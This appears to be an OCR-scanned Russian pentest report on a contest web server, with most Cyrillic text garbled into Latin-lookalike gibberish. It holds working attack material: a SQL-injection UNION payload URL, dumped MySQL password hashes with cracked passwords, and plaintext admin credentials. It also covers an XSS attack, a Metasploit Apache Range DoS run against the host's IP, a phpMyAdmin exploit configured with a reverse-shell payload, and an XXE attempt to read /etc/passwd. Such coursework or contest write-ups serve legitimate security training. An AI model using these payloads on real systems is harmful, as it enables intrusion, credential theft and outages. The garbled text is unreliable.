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1. CkanupoBaHue ceTeBbIX MOPTOB X0CTA C MOMOIIBIO CKAHEPa CeTH

HpH CKaHUPOBAHUU XOCTa ObLIH Hal}'II[eHBI CIICAYIOIIHUC OTKPBITBIC ITOPTHI U
OTIpesieNieHbI CIYKObI M BEPCUU MPOTrpaMM, paboTarolue Ha HUX:
o 22/TCP —ssh, OpenSSH 5.5pl Debian 6 (protocol 2.0);
e 80/TCP — http, Apache httpd 2.2.16 (Debian);
e 67/udp — Bo3moxno dhcp.

Taxke OBLIO OMpEICIICHO, YTO ONepaluoHHas cucrema y3nma Linux, a w3

OaHHEpOB mporpamm ciiyx0, uro 3to Debian 6. CkpUHIIOT CKaHUPOBaHMsI IMOKa3aH
Ha puc. l.

CraHMpoBaHWe WHcTpyMmeHTel MNpodane Momolls
Uent |contest.npo-echelon.ru ¥  [podune |Intense scan plus UDP ¥  |CKaHWpoBaHWe| |OTMeHa

KomaHpoa |(nmap -sS -sU -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 contest.npo-echelon.ru

XocTel | CepBuckl Beieog Mmap |MopTel / XocTel | Tononorua | JeTann XxocTa | CKaHWpOBaHWe

oc — nmap -s5 -sU -T4 -A -v -PE -P522,25,80 -PA21,23,80,3389 contest.npo-echelon.ru |« OeTann

Nmap scan report for contest.npo-echelon.ru TI88.127.228.14] -
Host 1s up (0.0l12s latency).

Not shown: 995 open|filtered ports, 998 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.5pl Debian 6 (protocol 2.0)

| ssh-hostkey: 1024 08:62:f1:c4:77:d4:39:62:0c:ca:e5:ef:65:92:02:06 (DSA)

| 2048 cf:54:d0:99:da:5b:5d:95:c0:88:84:37:d2:d9:80:a2 (RSA)

80,/tcp open http Apache httpd 2.2.16 ((Debian))

| _html-title: \xDD\xF8Y\xESYxEBYxEE xEDY xESY, xFOY xEEY, xE2% xEQY, xEDY x EDY x EOY, xFF
W XEEY xE1Y xEEY xFON\ xEEY xEDY xEQ 2012

67/udp open dhcps?

| dhecp-discover:

| IP offered: 10.0.2.15

| DHCP Message Type: DHCPDFFEﬂ

| Subnet Mask: 255.255.255.0

| Router: 10.0.2.2

| Domaln Mame Server: 8.8.8.8, 8.8.4.4

|

|

|

I contest.npo-ec

Domain Mame: Home

IP Address Lease Time: 1 day, 0:00:00

_ Server Identifier: 10.0.2.2

MWarning: 0SScan results may be unreliable because we could not find at least
1 open and 1 closed port

0S fingerprint not ideal because: Missing a closed TCP port so results
incomplete

Mo 0S matches for host

Network Distance: 2 hops

TCP_Sequence Prediction: Difficulty=17 (Good luck!)

20 T [*] ||zP _ID Sequence Generation: Incremental

Service Info: 0S: Linux -

DPUNETR XOCTOB

Puc. 1. CxaHupoBaHie XOCTa CKAHEPOM CETH



2. OnpenesieHHe BepCHH Bed-cepBepa ¢ MoMoONIbI0 yTHINTHI telnet

Onpenenenre Bepcu (1o OaHHEpY) BeO-cepBepa ¢ IOMOIIbIO yTHINTHI telnet
MOKa3aHo Ha puc. 2. MccienyeMblii XOCT BbIIa€T OaHHEP O TOM, YTO BEO-CEPBEPOM
seisiercst Apache 2.2.16 (Debian).

~ v %X root@bt: ~
File Edit View Terminal Help
:~# telnet contest.npo-echelon.ru 80
Trying 188.127.228.14...
Connected to contest.npo-echelon.ru.
Escape character is '~]
HEAD / HTTP/1.0

HTTP/1.1 200 OK
- GMT

.2.16 (Debian)
ast- I v —O05—Sep—29 12:54:42 GMT
Tag: 2 -4c8f3e@dc8880"

Accept-Ranges: gsbytes
Content-Lengthes 1340
Vary:! Accept-Encoding
Connection: close
Content-Type: text/html

Connection closed by foreign host.

T~ I

Puc. 2. Onpenenenue Bepcun BeO-cepBepa ¢ ucmoiib3oBanueM telnet



3. CocraBiieHue NepeyHsi YI3BUMOCTEH, XapaKTePHbIX /I TaHHOW BepCcuM Beo-
cepBepa, HCHOJIb3YH 001EeJOCTYIHYI0 HH(popMaLuio

Ucnonb3ys  oOmeaocTynHyro  UHGOpMAIMIO,  YIalOCh  COCTaBUTH
HUKECJIENYIOIUIA CIUCOK YSI3BUMOCTEH (BCE YA3BUMOCTH HE JAHHBII MOMEHT
UCIpaBICHbl B TOCIEAHEH Bepcun npoaykra Apache 2.2.23). Muorue wus
NIEPEYNCIICHHBIX YSI3BUMOCTEH SIBISIFOTCS YSI3BUMOCTSIMU B MOIYIISIX cepBepa Apache,
a HE B CaMOM CEpBEpPE, U MOTYT HE UCIOIb30BATHCS HA KOHKPETHOM XOCTE, KpOME
TOTO, YS3BUMOCTH HUMEIOT M Jpyrue pa3iuyHble OrpaHudeHus (0COOEHHOCTH
KOH(UTYpaluy, BEPCUU U TUIA ONEpPalMOHHON cucTembl). [lepeueHs ys3BuMocTen
B3AT ¢ O(UIIMANIBHOTO caiiTa apache.

CVE-2012-2687 Bo3mMokHO mpoBeneHnd XSS-araku Ha  CEpBEPHI,
ucnojb3yromue Mod_negotiation moayib

CVE-2012-0883 noBsIieHre MPUBUIIETHH JIOKAJTEHOTO TIOJIE30BATEIS;

CVE-2012-0053 ommbka, mpuBOAsIIas K TOMY, YTO TIPH OTIIPABKE CEPBEPOM
orBeta Bad Request (400 ommbOka), HE ymIastOTCS JIODKHBIM 00pPa3oM HEKOTOPBIC
nosns HEADER, 4ro mo3Bonsier ymajneHHOMY MOJIB30BATENIO MOITYYUTh AOCTYI K
"httpOnly"  kykum, cymiecTByeT myOnuuHbId — SkcrutodT  http://www.exploit-
db.com/exploits/18442/;

CVE-2012-0031 oOxom  orpanwdyeHud  0€30MaCHOCTH,  JIOKAJIBHBIM
I0JIb30BaTEIb MOYKET BBI3BATh OTKa3 B oocnyxuBanuu (DOS);

CVE-2011-4415 sjokajbHBIA I10JIB30BATEIb MOMET BbBI3BATH OTKA3 B
obcyxuBanuu (DoS);

CVE-2011-4317 mnpu BKIIOYCHUH OMNIMU OOPAaTHOTO TMPOKCHUPOBAHUS
YAQJICHHBIN aTaKyIOLIUN MOXKET OTIIPABIIATh 3aIIPOCHI HA CEPBEP, KOTOPBIM HAXOIUTCS

3a MPOKCU-CEPBEPOM, YSA3BUMOCTh CYLIECTBYET U3-3a HEMOIHOTO ucnpasieHuss CVE-
2011-3368;

CVE-2011-3639 - mpu BKJIIOYEHHH OMNIMUA OOPATHOTO MPOKCHUPOBAHUS
YAAJIEHHBIN aTaKyIOIIMI MOXKET OTIPABIIATH 3alIPOCHl HA CEPBEP, KOTOPBIA HAXOAUTCS
3a MPOKCH-CepBEepoM ¢ wucnoiab3oBanueM HTTP/0.9 mnporokona, ysa3BUMOCTH
CYIIEeCTBYET U3-3a HenmoyHoro ucrnpasieHuss CVE-2011-3368;

CVE-2011-3607 npu BkimoueHHoM Moxayine mod setenvif, noxanbHBIMA
NOJIb30BaTEh MOXKET BBI3BaTh MepernoiHeHue Oydepa 1 MoBbICUTH ce0e MPUBUIIETHH;

CVE-2011-3368 npu ucnonb3zoBanud mod proxy yaajJeHHBIH aTaKyroIIUH
MOYKET OTIIPABIISITH 3allPOCHl Ha CEPBEP, KOTOPHIN HAXOAMUTCS 3a MPOKCHU-CEPBEPOM,
CyIECTBYeT myOnyHbIi dKcIuIonT http://www.exploit-db.com/exploits/17969/;

CVE-2011-3348 ynaneHHBIN MOIB30BATEIh MOXKET C MOMOIIBIO CHEIUATBLHO
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chopmupoBannoro HTTP-3anpoca Bei3Bath 0Tka3 B oOcayxuBanuu (DoS);

CVE-2011-3192 - ynaneHHbIN TOIB30BATENb MOXKET C MMOMOIIBIO CIIEIUATBHO
chopmupoBanHoro HTTP-3anpoca BbI3BaTh o0TKa3 B oOcayxkuBanuud (DoS),
cymiecTByeT myonmuHbIA Skcrutoit http://www.exploit-db.com/exploits/17696/ wu
MOAYJb JiJis msf.

CVE-2011-0419 ys3BUMOCTB MO3BOJISIET yAAJICHHOMY aTaKyIOIIEMY BbI3BAaTh
orka3 B  oOcayxuBanun  (DoS), cymecTByeT = MyONUYHBIA  SKCIUIOWT
http://downloads.securityfocus.com/vulnerabilities/exploits/47820.txt

CVE-2009-3720 ynaneHHBI TOJIb30BaTelb MOXKET BBI3BaTh OTKa3 B
00CTyKHBaHUH (DoS), CYLIECTBYET MyOIUYHBIN AKCIIONT
http://www.securityfocus.com/data/vulnerabilities/exploits/36097-2.9z

CVE-2009-3650 ymaneHHBIN TI0OJIb30BaTelb MOXKET BBI3BaTh OTKa3 B
obciyxuBanuu (DoS)

CVE-2010-1452 ys3Bumocth B mod cache u mod dav momymsx,
NO3BOJISIIOIIASl  YAQJEHHBIM  TOJb30BAaTEIsIM €  INOMOMIbIO  CHEIHUAIbHO
c(hOpMUPOBAHHBIX 3alPOCOB BBI3BATH OTKa3 B OOCIY)KHMBaHWU MpHIOkKeHus. s
YCIEIIHOM  3KCIUTyaTallud  YSA3BUMOCTH  TpeOyeTrcs  HajJuuue  JUPEKTUBBI
"CachelgnoreURLSessionldentifiers" u MPM.

CVE-2010-0408 ys3Bumocts B mod proxy ajp MoOmyJe, ITO3BOJISIONIA
yIaJeHHOMY aTaKylollleMy BbI3BaTh OTKa3 B oOcimyxuBanuu (DoS) cepsepa,
UCIOB3YyIoIero mod proxy ajp MOAYJb

CVE-2009-3094 ys3Bumocth B mod proxy ftp wmomyne, pemarormias
BO3MOXKHOCTh OTKa3a B OOCTY»KMBaHUU MPHU UCTUIL30BaHUU mod proxy ftp momysns

CVE-2009-3095 ys3BumMocth B mod proxy ftp momyse, mo3BosstoIast
yIaJICHHOMY aTaKyroIleMy TOChIIaTh MPOU3BOJBHBIE KOMaHIBI ftp-cepBepy, mpH
ucIuIb30BaHuu mod proxy ftp momysns

CVE-2009-1890 ys3Bumocth B MOd_proxy wmojyie, MO3BOJSONIAS
yIaJeHHOMY aTaKyIoIleMy BbI3BaTh OTKa3 B oOciayxuBanun (D0S) cepsepa,
UCTIONB3YIoIIero mod_proxy Moayib

CVE-2009-1891 ys3BumMocTh B Mod_deflate momyme, mo3Bosstroras
yIaJCeHHOMY aTaKyIoIlleMy BbI3BaTh OTKa3 B oOciayxuBanun (D0S) cepsepa,
ucnoas3yromero mod_deflate moayns

CVE-2008-0456 ys3BumocTh B mMOd_negotiation momyne, MO3BONSIONIAS
yIaJCHHOMY aTakyrlleMy mpoBectd response spliting araky Ha cepsep,
ucronp3ytonmii - Mod_negotiation momynb, JIOCTYNeH NYOJIHYHBINH  OKCILIONT
http://downloads.securityfocus.com/vulnerabilities/exploits/27409.txt.

CVE-2008-2939 ys3BUMOCTH TO3BOJSICT  yAAJICHHOMY  aTaKymoIleMy
BHEIPUTH B TtP-myTh crieHapuii Web-ckpumita u ocyiiecTBuTh XSS-araky Ha cepBepe,
HOJIJICPIKUBAIOIIEM UCIIOJIb30BaHHE mod_proxy_ftp (mpumep:
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ftp://host/*<img%20src=""%20onerror="alert(42)">).

CVE-2007-6420 ys3Bumocth B mod_proxy balancer moxmyne mo3Bossier
npoBectt  CSRF-araky Ha  cepBepax,  pa3pemialolux  HCIOIb30BaHHUE
mod_proxy_balancer.

CVE-2008-2364 ys3sumocts B Mod_proxy http momyne mo3Bossier
yIaJeHHOMY aTaKymolleMy BBI3BaTh OTKa3 B oOcay:xkuBanuu (D0S) y cepsepa,
VCIIOJIB3YIOLIETO TAaHHBIM MOIYJIb.

CVE-2008-0005 ys3sumocts B Mod_proxy ftp wmomyne mo3Bossier
aBTOPU30BAHHOMY aTakyroleMy MpoBecTd XSS-araky Ha CepBephbl, B KOTOPHIX
paspemren mod_proxy_ftp. Araka Bo3MOXHO HE Ha Bce Opay3ephbl KIIMCHTOB.

CVE-2007-6422 ys3Bumocts B mod_proxy_balancer momyne mo3Bosset
ABTOPH30BAHHOMY I10JIH30BATEIIIO BBHIIIOJIHUTH OTKAa3 B OOCIY)KMBaHUU CEPBEPOB, HA
KOTOpPBIX paspemieH Mod_proxy_balancer.

CVE-2007-6421 ys3Bumocth B Mmod_proxy_balancer momyrne mo3BosseT
ABTOPM30BAHHOMY aTaKylolleMy MpoBecTH XSS-araky Ha CepBEphbl, B KOTOPBIX
paspemied B mod_proxy_balancer.

CVE-2007-6399 ys3BuMocTh B MOd_Status mojynie mo3BoJisieT ynajJeHHOMY
arakyroniemy mpoectu XSS-ataky Ha CepBEpbI, B KOTOPBIX pa3pelieH B mod_status.

CVE-2007-5000 ys3BumocTh B MoOd_imagemap Moaylie IO3BOJISICT
yAaJIEHHOMY aTaKyloleMy mpoBecTd XSS-aTaky Ha CepBEphI, B KOTOPBIX pa3pelleH B
mod_imagemap.

JUist  ycTpaHeHus ysI3BUMOCTEH, HEOOXOIWMO YCTaHOBUTH MOCIEIHION
BEPCHIO C CalTa MPOU3BOAUTEIIS.



4. IlpoBeeHue CKAHMPOBAHMSI HA HAJIMUMeE YA3BUMOCTEl ¢ MOMOIIbLIO CKaHepa
0€e30IMacHOCTH

beu1o IIPpOBCACHO CKAHHUPOBAHUC Ha HAJIUYIHC YﬂSBHMOCTeﬁ CKaHCPpOM

oe3onacHocTH (puc. 3). [Tocne npoBeneHus ckaHUPOBAHMS, ObUT CTEHEPUPOBAH OTYET
0 HalJEHHBIX YA3BUMOCTSX (pHuC. 4).

CkaHep BBISIBUJI HECKOJBKO yA3BUMOCTEH BebO-cepBepa, B uactHocTH CVE-
2009-1890 (DoS). ITomumo 3TOTO CKaHepoM ObLT HaimeH phpmyadmin u HaliacHBI
ysi3BUMOCTH, B yactHoct CVE-2006-6942, CVE-2007-5976, CVE-2007-5977.

[TomrMO »TOTO TIpM CKAHUPOBAHMHM OBUTM OMPEACICHBI  CICTYIOIINE
oTkpeIThIe TIOPTHL: 80 U 22, onpeneneHa Bepcus BeO-cepsepa Apache 2.2.16 u SSH-
cepepa SSH-2.0-OpenSSH_5.5p1. Takke ObUIO YCTAaHOBIECHHO  HAJIUYKE
CJICIYIOIIMX ITaIloK B KopHe caiiTa: admin, icons, phpmyadmin, javascript, cgi-bin.

‘:-:o ckaHep belonacHocrn - Iceweasel + 0O X
®ain [paska Bwg MypHan 3aknagkn WHcTpymMeHTEl CnpaBka

‘ @ - a @ ﬂ- & httpsi/localhost:9392/omp?cmd=get_tasks&refresh_interval=10. ~ | [G~ | Google @,
[ Cameie nonynspree ¥ feGetting Started [5)]Latest Headlines

® Bolen kak admin | BelliTn =
SWeNoH

Sat Sep 22 15:34:04 2012 (UTC)
oxampons i
CKaHWpoBaHusa 3ajlaHue crartyc Yrposbl |TEHAEHLHA AedcTBuA
o 3anaums Laror | nepai [ mocreneni |
%

© HOBOE 3ajlanne contest echelon 0 [m ] ]~

nATe KamAabie 10 ek, | ¥ eHrAMIA

© 3aMeTKn

onepeonpeenelus
o MCnonHeHne

D HacTpoiKK

o HacTpoiikn
CKaHWDOBaHNUA

ouenu
© NONHOMO4NA

© areHTsl

© LKans

— =

FoToso

localhost:9392

Puc. 3. Hayano ckannpoBaHue ckaHepoM 0€30MacHOCTH

* Xpdf: /media/entfs/contest.npo-echelon.ru/report-1e51f0e9-9123-49ch-a283 i

/|
O6wuin pesynsTaT
¥ien Buicoxuit CpeaHwi Huaxwa Nor NlosHoe cpaBat Meanue
188.127.228.140 & 14 17 0
Brero: 1 o [} 14 17 0

Pe3synbTaTbl CKAHUPOBAHUA Y3NO0B
Ysen 188.127.228.14

CrasmpoBaHue yana Ha4anocs: Tue Sep 18 23:33:43 2012
KonwyecTso HaligeHHbix yAaauMocT ei: 37

PesyneTaTel CKaHMPOBaHWA NOPTOE y3na 188.127.228.14

Cepeuc (MopT) ¥poeeHs yrpozw
generalftcp Medium

http (80/tcp) Medium

ssh (22/tcp) Low

general/HOSTT Log
general/SMBClient Log

Eﬁlgﬂm “p | Page Izl—ofs fit wiclth |_| ﬂ ﬂ|

Puc. 4. Yacts oTyeTa ckanepa 6€30MacHOCTH




5. [MMpoBepeHue aHanus 3awmweHHocT Web-npunoxkeHna ¢ nomowbio
dpaiimBopka w3af

W3AF 6b11 3any1iieH co cleayroniMy TIarnHaMu

audit: xpath, xss, xst, blindSqli, xsrf, remoteFileInclude, localFilelnclude,
sgli, LDAPI, responseSplitting.

bruteforce: error500, collectCookies, dotNetEventValidation,
pathDisclosure, codeDisclosure, blankBody, metaTags, motw, privatelP,
directorylndexing, strangeReason, ssn, fileUpload, findComments, svnUsers,
hashFind, getMails, httpAuthDetect, wsdlGreper, formAutocomplete,
passwordProfiling, domXss, ajax, clickJacking, httpInBody, strangeHeaders,
strangeHTTPCode, lang, errorPages, strangeParameters, objects, creditCards, oracle,
feeds.

Discovery: fingerprint. WAF, phpEggs, robotsReader, bing_spider, pykto,
sitemapReader, serverHeader, phpinfo, webSpider, googleSpider, findBackdoor,
fingerGoogle, dir_bruter, xssedDotCom, fingerBing, afd.

B xome anamm3a otuera W3af Obuta BbIsIBICHA CTPYKTypa caiTa, HaWICHBI
cnenyromue aupekropun: admin, icons, phpmyadmin. Cpeau HHTEPECHBIX HaXOJIOK
B Kataysiore phpmyadmin Obut Halinen 3ammiieHabii HTTP-HEAD aBropusarueit
katayor Setup. Taxke ObuUIM HaWACHBI ‘“‘TacxaybHbIC sia” php (puc. 5), KOTOpbIC
yKa3bIBaJIA Ha TO, 4yTo Bepcus PHP ne Hmke 5.3.0, u3 mons 3arososka “X-Powered-
By: PHP/5.3.3-7+squeezel4” caenmoBaio, uto Bepcus php 5.3.3.-7+squeezel4. beuto
OTpeneNieHo, uTo caT MoxkeT ObiTh moxaBepikeH ClickJacking-artakam (The whole
target has no protection (X-Frame-Options header) against ClickJacking attack).
Hatigena SQLI (http://contest.npo-echelon.ru/admin/authors.php?id=d%272%220).

Puc. 5. IlacxanesHbIC fAiiIa



w3af - contest.npo-echelon.ru

s:mm-m‘mg‘ﬁesults|aﬂnit‘

KB Browser | URLs Request/Response navigator

Vuln Info [ Misc
Knowledge Base

[+ formAutocomplete (1)
[+ findComments (1)
[+/  hashFind (1)
[+ afd (1)
[+ strangeParameters (1)
|+ collectCookies (1)
+|  serverHeader (2)
|+|  strangeReason (1)
[+/  phpEggs (1)
[+  ermorPages (1)
|+ strangeHTTPCode (1)
[+ metaTags (1)

= P 1
=] findBackdoor (1)
[=]  backdoors (1)
€3 Possible web backdoor
[+ mails (1)
|+ fingerGoogle (1)
[+ hitpAuthDetect (1)
B xsrf 1

=] clickjacking
=] clickjacking
A Possible Clickjacking attack

The URL: "http://contest.npo-echelon.ru/phpmyadmin/Documentation.html ?phpMyAdmin=rts2foSuaoabcujp2t
request with id 3816.

Request Hﬂ)mse‘
Raw | Headers |

GET http://contest.npo-echelon.ru/phpmyadmin/Documentation.html?phpMyAdmin=rts2foSuaoab
Accept-Encoding: gzip

Accept: */*

User-Agent: Mozilla/4.® (compatible; MSIE 8.8; Windows NT 6.1; Trident/4.8; w3af.sf.net
Host: contest.npo-echelon.ru

Cookie: phpMyAdmin=rts2foSuaoa6cujp2h3l58auméhkplag; pma_fontsize=82%25; pma_charset=ut
Referer: http://contest.npo-echelon.ru/

Puc. 6. CkanupoBanne W3af



6. leMOHCTpaLMA 3KCnAyaTauMm oaHOU U3 06Hapy>KEeHHbIX YA3BUMOCTEN Knacca
CSS/XSS.

B INEPBYI0O O4UCpE€Ab IIpH IOIIBITKAaX OKCINTyaTallunu 06Hapy>KeHHI>IX
ySI3BUMOCTEH, OblIa iposkcIuryarnpoana SQLI (puc. 7):
http://contest.npo-echelon.ru/admin/authors.php?id=-1%27+and+1=1+UNION%20SELECT+1,version%28%29,3,4,5,6,7+--+

[ Home ] [ News | [ Articles/Tutorials | [ Videos ] [ Downloads ]| [ Search ] [ Links ]

[ Latest News ]
-1:DATE -!DESCRIPTION
5.1.63-0+ squeezel 3

[ Articles fTutorials ]
-::DATE -::DESCRIPTION
5.1.63-0+ squeezel 3

Puc. 7. Dkcmnyaranus SQLI (moiayuenue Bepcuun MySQL)

Bepcus cepsepa 6a3pl manHbIX okazanack MySQL 5.1.63-0+squeezel. Jlanee Obu1n
MOJyYeHBbI MMeroIrecs 0as3bl JaHHBIX M WX JAamibl mpu momomu Sqlmap. B Gase
mysql, Tabmurie USEr comaepxuTcs uHpopMaius 00 aBTOPU3AIMOHHBIX TaHHBIX H
NPHUBWIICTUAX Tob30Barencii SOl. Hekoropbie Xxamm maposiei ObUiM 1mogo0paHbl 1Mo
cioBapto (Tabin. 1).

Host User MD5-hash Pass
% AV1ctOr 6BB4837EB74329105EE4568DDA7DC67ED2CA2ADY | 123456
127.0.0.1 root E372920927493C3BCEA6654A14218A59970A3D11 | gfhjkm
contest root E372920927493C3BCEA6654A14218A59970A3D11 | gfhjkm
localhost debian-sys- E372920927493C3BCEA6654A14218A59970A3D11 | gfhjkm
maint
localhost phpmyadmin F7230BDEEFC9F832E1FD291ED7AD57C41CCEAEB
B

localhost root E372920927493C3BCEA6654A14218A59970A3D11 | gfhjkm

Ta6n. 1 ABropusanuonusie qaHHbIe SOl-moap3oBarenci (mysql.user)

[Tpu n3yuyeHunn 6a3bl JaHHBIX Yepe3 maHeas phpmyadmin, ObuT0 OnpeaesieHo,
gro Bepcus phpmyadmin 3.3.7. Taxxe Obuta HaiieHa Tabnmuia members B 6ase
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http://contest.npo-echelon.ru/admin/authors.php?id=-1%27+and+1=1+UNION%20SELECT+1,version%28%29,3,4,5,6,7+--

exploit (puc. 8). B Heli cogepkanuch aBTOPU3AIOHHBIC JAHHBIE aIMUHUCTPATOPOB
pecypca, mpuyeM Mapoid XPaHWIUCh B OTKPBITOM BH/IC.

Rl EcHELON: ~ =« ' Rl 404 Not Fou « ' = npo-echelor » [l Index of fico

i contest.npc

P

<« ¢ ‘Ocontest.npu-echelan.ru phpmyadmin/index.php?db=mysql&to —:'=':.3::":—:—:'_"‘?:Z—::::—:.'ﬁ‘ Q
e I localhost » & exploit p E] members
] ¢ exp E
3 Q Q [E| Browse F% Structure 72SaL }'_I-Search = Tracking 3Hclnsert
bace {EExport [SImport %Dperatlons [[Empty [ Drop
|exp|0it ®8) = | «# Showing rows 0 - 3 (4 total, Query tock 0.0040 sec)
EELECT *
FECM member:s
exploit (8) LIMIT
| Profiling [ Edit ] [ Explain SQL ] [ Create PHP Code ] [ Refresh ]
| X
B articles )
B authors Show : I&D row(s) starting from record # Ig
& category )
B downloads in | horizontal ¥ mode and repeat headers after |1oo
B links
B members cells
B news Sort by key: | None v
B videos i
+ Options
4 T b id username password
¥ X 1 admin P@ssword
O & X 2 oo 1ga2ws
& X3 editor qiw2edrd
¢ X 4 AVictor  hdacke5 ||

Puc. 8. ABTOpu3anmoHHbie JaHHBIE aIMIHHACTPATOPOB caiiTa

B xome aHamm3a OTYETOB, IMONYYCHHBIX OT CKaHEPOB YA3BHMMOCTEH U B
pesyapTare pydyHOro mojdopa, Oblma HaiieHa aupekropus — contest.npo-
echelon.ru/admin/admin/ xotopas Obuta 3amumena mapoigem (FORM-POST
aBTOpH3alisa). ABTOpH3allMOHHBIC JaHHbIe U3 Tabmuubl exploit.members moaxoaunm
K Hel, IoCIe aBTOPHM3allM{, MOSABIUIACH IaHedb aJIMHHAMTPATOpa, KOTOpas
NO3BOJIsIa pelakTupoBath uMH(MopMaiuio Ha caite (pasmen http://contest.npo-
echelon.ru/admin/). B xoxe ee u3ydeHusi (Bpy4HyI0) OBLJIO BBISBICHO, YTO MHOTHE
noJist moaBepikeHbl XSS-arakam. beina mposenena XSS-araka (puc. 9, puc. 10).
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Format | Mormal

Puc. 9. IIposenenne XSS-araku
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JavaScript

@ <contest.npo-echelon.ru>
| am your XSS

[C) Stop executing scripts on this page

Puc. 10. IIpoBepka ycrenrHocT XSS-araku (pe3yabTar movcka mo ¢paze “SWSU”
Ha crpannuke http://contest.npo-echelon.ru/admin/searche.php)

13



7. LeMOHCTpUpaLMA IKCNayaTauumM O4HOM U3 BbIAABIEHHbIX YA3BUMOCTEM C
nomouwbio Metasploit Framework.

Cpenu uMeromuxcss Moayiei skciutonToB Msf mox Bepcuio Apache 2.2.16
noaxonua apache range _dos (CVE-2011-3192). [IpoBepuM ysI3BUMOCTH cepBepa K
JTAaHHOM aTake CAEJaB CICAYIOIIMN 3aIpoc:

curl -1 -H ""Request-Range: bytes=0-1,0-2,0-3,0-4,0-5,0-6"" -s cintest.npo-echelon.ru | grep Partial

(puc. 11). B oreer cepep Bbyman «206 Partial Content», uyto rOBOpPUT 00
yA3BUMOCTH CepBepa K TaHHO aTake.

[Tpu skcrmyatanwu  (ympaeiaeHue MSF mpoucxomuT ¢ MCHOIB30BaHHEM
obOosouku armitage) ys3BuMocTH HacTpamBaeMm (puc. 12 u 3amyckaem (puc. 13)
apache_range_dos. K coxkanenuro, Buaumoro 3¢ddekra (HETOCTYITHOCTh caiTa,
3aMenJieHue ero paboThl) B XOJ€ aTaku OOHapyKeHO He ObUIO (OBLIO OTHPABICHO B
cymme 1000 makeToB), 4TO BO3ZMOXKHO TOBOPHUT O TOM, YTO aIMUMHUHHUCTPATOPHI BCE-
TaKl CJeliajii HeoOXOoAuMble OOHOBJICHUSI WJIM MPOU3BEIU KaKUEe-TUOO HACTPONKU
JUTSL OTPaYKCHHS TAHHOW aTaKH.

~novoX roof@bi: ~
File Edit View Terminal Help

:~# curl -I -H "Range: bytes=0-1,0-2" -s contest.npo-echelon.ru | grep Partial
HTTP/1.1 206 Content

Puc. 11. [Ipoepka yszumoctu CVE-2011-3192
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* dos/http/apache range dos

Apache Range header DoS (Apache Killer)

The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x
through 2.2.19 allows remote attackers to cause a denial of service (memaory
and CPU consumption) via a Range header that expresses multiple overlapping
ranges, exploit called "Apache Kller"

Option 4 | Walue |
CHOST

ConnectTimeout ]

Proxies

FHOST = 188.127.228.14
RLIMIT 1000

RPORT a0

S5L 0

S5lversion S5L3
TCPumax_send_size 0

TCP::send _delay 0

LIRI !

WERBOSE 0

WORKSPACE

(/] show advanced options

Launch |

Puc. 12. Hactpoiika apache range dos

~ v x root@bt: /pentest/exploits
File Edit View Terminal Help
Auxiliary interrupted by the console user
1liary module execution completed
(iliary( ) > exploit

(o)

contest.npo-echelon.ru:
contest.npo-echelon.ru:
contest.npo-echelon.ru:
contest.npo-echelon. ru:
contest.npo-echelon.r
contest.npo-echelon.ru:
contest.npo-echelon.ru:
packet contest.npo-echelon.ru:
' packet contest.npo-echelon.r
5 packet 1€ contest.npo-echelon
ending packet contest.npo-echelon.ru:
ending packet contest.npo-echelon.ru:
ending packet contest.npo-echelon. ri

' packet contest.npo-echelon.ru:

packet contest.npo-echelon. rt

packet contest.npo-echelon.ru:

Puc. 13. IIpoBenenue DoS-araku ¢ nomomnibio apache range dos

packet
packet
packet
packet
packet
packet
packet

wvw
) (D

N

o

w

(9]

Se
Se
Se
Se
S
)

o)
OO~ &

o)
» 00 CO 0O OO 0O OO

(e~ B« B« BN < BN < B < BN o B < B < B < B <)

0]

D

LmuUuUmmuvmmuommumouowum
)
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s phpmyadmin B 6a3e gannbix msf umeercs sxcnoit phpmyadmin_config,
KOTOPBIM pacrpocTpansieTcs Ha Bepcun 3.x < 3.1.3.1, Tak Kak paHee OBLIO
YCTaHOBJIEHO, 4YTO Ha caiite Bepcus 3.3.7, NaHHBIA SKCIUIONT, BEPOSATHO, HE OyIeT

paboTtark, yTO OBLIO MOATBEPKACHY MPHU MOMBITKE €ro UCIoib30Banus (puc. 14, puc.
15).

*x Attack 188.127.228.14

PhpMyAdmin Config File Code Injection

This module exploits a wulnerability in PhpMyAdmin's setup feature which allows an !
attacker to inject arbitrary PHP code into a configuration file. The original advisory says [
the vulnerabilitv is present in phoMyAdmin versions 2.11.x = 2.11.9.5and 3.x =< 3.1.3.1: |¥

-

Option 4| Walue

Proxies i
RHOST = 128.127.228.14

RPORT 20

/{phpmyadmin/
VHOST ¥

Targets: |0 == Automatic (phpMyAdmin 2.11.x = 2.11.9.5 and 3.x = ... _YJ

] Use a reverse connection

|| Show advanced options

| Launch |

Puc. 14. Hactpoiika phpmyadmin_config

* Armitage
Armitage Wiew Hosts Attacks Workspaces Help
¥ (& exploit
'Euni}:
¥ (& webapp

B phpmyadmin_config

phpmyadmin

Conscle X T Services X T scannerfhttp/fapache_userdir enum X T Jobs X
scannerfsshfssh_version X I scannerfsshfssh_login X T scannerfsshfssh_login X T exploit X L

MST ExXpLoicLy 7T > SeL RHUSI Lod. 127,270, 1%
RHOST == 188.127.228.14
msf exploit( ) = set PAYLOAD generic/shell_reverse_tcp
PAYLOAD == generic/shell_reverse_tcp
msf exploit( )} = set TARGET 0
TARGET == 0
msf exploit( ) = set URL /phpmyadmin/
URT == /phpmyadmin/
msf exploit( ) = exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192,168,1,3:27408
[*] Grabbing session cookie and CSRF token

Exploit failed [not-found]: Couldn't find token and can't continue without
it. Is URI set correctly?

msf exploit( ) =

Puc. 15. Ucnone3Banue phpmyadmin_config
16



bbut Haiinen napyroit sxkcrutoiT s Msf, nogxoasmuii Kk MMeroIeics Ha
caiite Bepcuu phpmyadmin - «xphpMyAdmin 3.3.X and 3.4.X - Local File Inclusion
via XXE Injection». [Tociie nob6asienwus ero B 6a3y msf, on ObuT HacTpoeH (puc. 16)
u ipuMeHeH (puc. 17). Pe3ynbrar ero paboTsl JOJDKEH COXpaHUThCS B credentials
(comepxxumoe (aitna /etc/passwd). Ho, mpocMoTpeB 3TOT pazien, HU4ero
0oOHapy>keHO He ObLI0, COOTBETCTBEHHO, JaHHBIN SKCIUIONT TaK e HEe MOJXOAUT K
arakyemil KoH(pUTypaIuu.
x Armitage
Armitage View Hosts Attacks Workspaces Help
¥ (& exploit
¥ E Linix
¥ [& webapp

B phpmyadmin XXE _inj

| phpmyadmin_config

phpry

-

Console X
Lru '|.l|.l LW

